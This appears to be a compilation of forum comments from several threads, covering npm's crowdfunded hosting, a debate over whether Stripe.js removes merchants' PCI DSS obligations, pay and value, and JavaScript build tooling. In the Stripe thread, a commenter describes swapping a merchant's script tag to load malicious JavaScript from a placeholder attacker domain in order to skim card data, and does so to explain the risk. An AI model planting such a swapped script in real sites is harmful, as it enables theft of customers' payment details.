This is a common confusion. The scalenpm crowdfunding was done by the good folks who ran the npm servers for free (mostly nodejitsu) up until the recent switchover to the new infrastructure with Npm, Inc.
You can still use the nodejitsu registry for free if you'd like[1]. They arent likely to need as much scaling anymore, but there's still a big cost to running those servers. I don't think there was any foul play when it comes to the scalenpm money as I'm fairly sure they were not aware of the intent for Npm, Inc to take over default hosting.
tl;dr the money did not go to the same people, and the people who crowd funded thought they'd still be hosting npm going forward at the time.
> as I'm fairly sure they were not aware of the intent for Npm, Inc to take over default hosting.
I did tell Charlie in November about my intent to take over the registry in Q1 of 2014, if it proved economically feasible. The raise helped accomplish that, for sure, but so did a massive restructuring that means it requires much less resources.
Does this actually make it any better, though? I mean presumably the people who took part in the crowdfunding also assumed they were contributing to the long term hosting costs of npm and the success of the platform itself.
I don't believe they had much say in the change. They are still using the money to do what they said they'd do in their campaign, and many people are setting up their registry as their default. As far as I know they just got caught in a situation that was less than ideal (while also getting rid of some financial burden). I think they deserve an applause for running it at high cost to their business for free for years rather than be villainized because they got caught in a situation that they weren't in control of. If you donated, or are worried about what Npm, Inc. is doing (hint: so silly to feel this way) you should set your default registry to theirs (it's already set as your failover, btw).
The cynicism in this thread is so bizarre to me. No one is being evil. There's no secret foul play. Everyone go write modules and share them and be happy.
I appreciate your interest in the security of Stripe, I think we definitely share the same goals here (making everything as secure as possible). However, I think there's some misunderstanding in some posts (and in the blog post):
> [...] the Stripe.js code is instantiated within the user browser by an HTTP response from the server infrastructure owned by the merchant
When Stripe.js is included within the user's browser by a (mandated https, not http) request, it comes directly from Stripe's servers, not from "the server infrastructure owned by the merchant."
Stripe.js isn't served from the merchant. It comes directly from Stripe. Stripe.js helps keep payment card data away from a merchants own servers.
Keeping card data away from someone's machines doesn't mean that they don't need to comply with the Payment Card Industry Data Security Standards, but it does make things quite a bit simpler.
In most cases it means that they're eligible for one of the light-weight self-assessment questionnaires.
PCI compliance, of course, shouldn't be where people stop thinking about security though. You're absolutely right that if the pointer on the merchant's site is changed to a malicious site, that's where the payment data will go. The merchant needs to keep that pointer safe in the same way that if you're redirecting to a hosted payment form or elsewhere, you need to make sure that isn't tampered with either. (A hosted form has the advantage that at least a customer can view the SSL cert but if they don't recognize the domain (or if the domain is obscure anyway), that's not much good.)
Being compliant with the PCI standards is important but it doesn't cover all of the very, very important points of web security.
We do take security very seriously, and if you happen to find a valid security issue with our service, we pay bounties[1] for properly disclosed vulnerabilities.
If you have any other questions, or would like to wax poetic about security or PCI please don't hesitate to send the security team an email at security@stripe.com or to email me personally at alex@stripe.com.
Alex, thank you for your response. I don't think my original observations about the wording of a support doc falls into a vulnerability disclosure. That doc has since been updated with enhanced guidance which addresses my original concern. As I think we all understand, the merchant must be responsible for ensuring the integrity and security of the HTTP response containing the reference to Stripe.js. After that they are absolved of the requirements surrounding the transmission, processing, and storage of the card data. As the PCI DSS states, they are ultimately responsible for their PCI compliance as the merchant.
My understanding by reading patcheudor's responses is that the issue isn't with Stripe's PCI compliance, but rather the fact that merchants that use Stripe's API need to be fully PCI compliant. According to him, using Stripe's API doesn't obviate the merchant's need to be fully PCI compliant, unless they do something like open up another window where the URL clearly shows that they are inputting a form from Stripe's own servers. Otherwise, the merchant needs to conform to full PCI compliance.
This is my reading of his comment too.. more specifically, that since the page comes from the merchants server, the page could be modified by an attacker to alter the form to (for example) submit credit card details to another server instead of Stripe's.
I think he has a point here. Certainly if the merchants web site is compromised, Stripe's PCI compliance won't prevent or detect the loss of credit card data (since it never reached the point where Stripe could protect it).
> I think he has a point here. Certainly if the merchants web site is compromised, Stripe's PCI compliance won't prevent or detect the loss of credit card data (since it never reached the point where Stripe could protect it).
Yes, this is certainly true. This is why we also use the dashboard to ask the relevant questions from the PCI self-assessment questionnaires. https://support.stripe.com/questions/do-i-need-to-be-pci-com... gives a brief overview, but this discussion is making me think that we need to write something longer and more definitive. There's a lot of confusion around PCI pretty much everywhere.
You're playing semantic shell games here. The user has no reasonable way of knowing that stripe.js came from stripe, and as such, there are no technical OR human controls that enforce that behavior.
In short, the fact that stripe.js is delivered from stripe DOES NOT MATTER, because the user CAN NOT reasonably validate this behavior.
I know you're not dumb over at Stripe; I have a hard time believing that you're not willfully lying. After all, "disrupting" onerous industry security standards is to your competitive advantage.
(Stripe Developer) - tl;dr -- This claims that Stripe.js runs on the merchant's server environment, causing the server to be subject to PCI DSS. In reality, Stripe.js is served from Stripe's servers, and runs only in the browser, and this has always been the case.
In order to get Stripe.js to execute within the same origin of the merchant environment the merchant must include code like this: <script src='//stripe.com/Stripe.js> within their HTTP response. This can be modified by a criminal on the merchant server to go to <script src='//badguy.com/mystripe.js> if the merchant has not implemented proper controls as outlined in the PCI DSS. The same can happen if they implement weak crypto. At the end of the day the merchant is responsible for this PCI related component because it's executing within the context of their merchant domain.
Adding a bit more to be crystal clear here. The merchants customer will only see the address in the address bar for the merchant and will be able to validate the merchants public cert. No customer I know of would view the source to make sure that the reference to Stripe.js is in the source.
Additional edit to address Silhouette's point. Yes, an attacker can modify the <a href to go to their site as well, but unlike an embedded script the customer does have a chance to call BS and back out of the transaction after growing concerned by the domain transfer & doing a Google search to see if it's legit. They don't have any chance in the case of an embedded script. Now if we go back to my original concern, it's that merchants are being told that they simply need to implement Stripe.js & enable HTTPS. Modifying that statement to something like this would be far better:
"Stripe minimizes the scope of PCI DSS by removing the need to implement and audit security controls surrounding the transmission, processing, and storage of card-holder data. This does not; however, absolve Merchants from compliance with the PCI DSS & in order to assist with that we offer the following..."
This can be modified by a criminal on the merchant server to go to <script src='//badguy.com/mystripe.js>
And then the merchant won't be following one of Stripe's two basic rules for staying PCI DSS compliant any more, will they?
That aside, of course you want to keep your server secure. But if you can't, as a matter of practical security and protecting cardholders in the real world, how would it be any better to have your site intended to transfer entirely to a payment service on their own domain rather than just loading JS from that domain? An attacker who has compromised the security of the files on a merchant's server can change an <a href='...'> that should transfer to the payment service so it goes to a hostile site just as easily as they can change a <script src='...'> that should load JS from a payment service so it loads JS from a hostile site.
Agreed, this is what I did say several times in the article, as well as calling much of it non-scientific. Though I did cite 2 scientific studies, and some non-trivial biology, I meant the article as a personal experience piece more so than a case-study for what everyone should do.
Therefore people are underpaid if they provide a lot of value and receive a lot less in return and vice versa.
The problem is determining the value those people provide.
If a business owner invests $10 million dollars in a complex machine that creates $10 million dollars a year, is the employee who flips the machine on and off every day and replaces toner cartridges producing $10 million dollars in value? Hardly. The person/company who created the machine more directly produced the value and he/they determined to sell it to the business owner for $10 million dollars.
Is a fast food worker working for minimum wage for a company that makes billions of dollars in profits underpaid? Yes.
No.
This has similarities to my contrived scenario. Billions of dollars were spent in creating fast food companies that can mostly be operated by teenagers with little or no skills. What creates the profit, the investment in all of the infrastructure that lets the teenagers follow simple instructions or the easily replaceable teenagers themselves?
We have a mostly per-project set of code style and tooling guidelines. Most (if not all) of our larger projects are coffeescript and commonjs based. That's mostly because they all share at least some code. As long as a project is internally consistent and the team agrees with each other, we don't force any specific styles or tools (within reason). We have expertise with the tools we use the most though, so a lot of times the best fit is our own tools.
However, the comparison is a little bit apples and oranges. The JavaScript is optimized for reading, and maximum coherence by outside developers (an example), and the other is a compiled application for execution. The actual _source_ of the checkout project (which is not open-sourced) internally is broken up into neat files and uses modules, etc. It's quite readable for those working on the code, and the output there is generated by a computer and not really intended for humans.
Hope that helps give some insight into our process and reasoning.
This varies from project to project based on needs. The checkout stuff uses sprockets-commonjs, browserify and require.js are used in other projects though. The decision is often made based on the backend (is it already ruby/sprockets?), and the needs of the project (would rebuilding the full file on each change be prohibitive). For the most part though, the build system remains transparent to all but one person (me, these days).
Many important parts of checkout are open-sourced via our jQuery.payment plugin [1]. It allows you to build your own checkout flow from component parts. As for open sourcing (capital C) Checkout entirely, we're working hard to provide a high-touch, consistent experience for checking out and we haven't been able to reconcile that with a bunch of small (maybe less thought-out) variations on the same thing floating around. We're always trying to think about ways to make this stuff better, though. We're definitely not against the idea, we just wanna do it right (i.e. allow non-programmers to customize without making things work incorrectly or look bad).
bentlegen _is_ an expert in third party javascript, and is correct that both domains need to opt in to a `document.domain` even if they would match with only one changing. This is to prevent this exact security exploit.
This part of the discussion is a bit of a sideshow, isn't it? PAYMENTS.YOURDOMAIN.COM is not in fact a real mitigation for malicious Javascript on WWW.YOURDOMAIN.COM.
You can't do that without incurring a PCI Audit, can you?
The best answer is "don't link to Javascript URLs that you don't control and audit on your website". Nobody likes that answer, but that doesn't make the second-best answer any more meaningful.
You can't do that without incurring a PCI Audit, can you?
Exactly. There's no way I would be serving up third party javascript to a logged-in Tarsnap user, even inside an iframe, if it weren't for the fact that dealing with PCI auditing would irreparably damage my sanity.
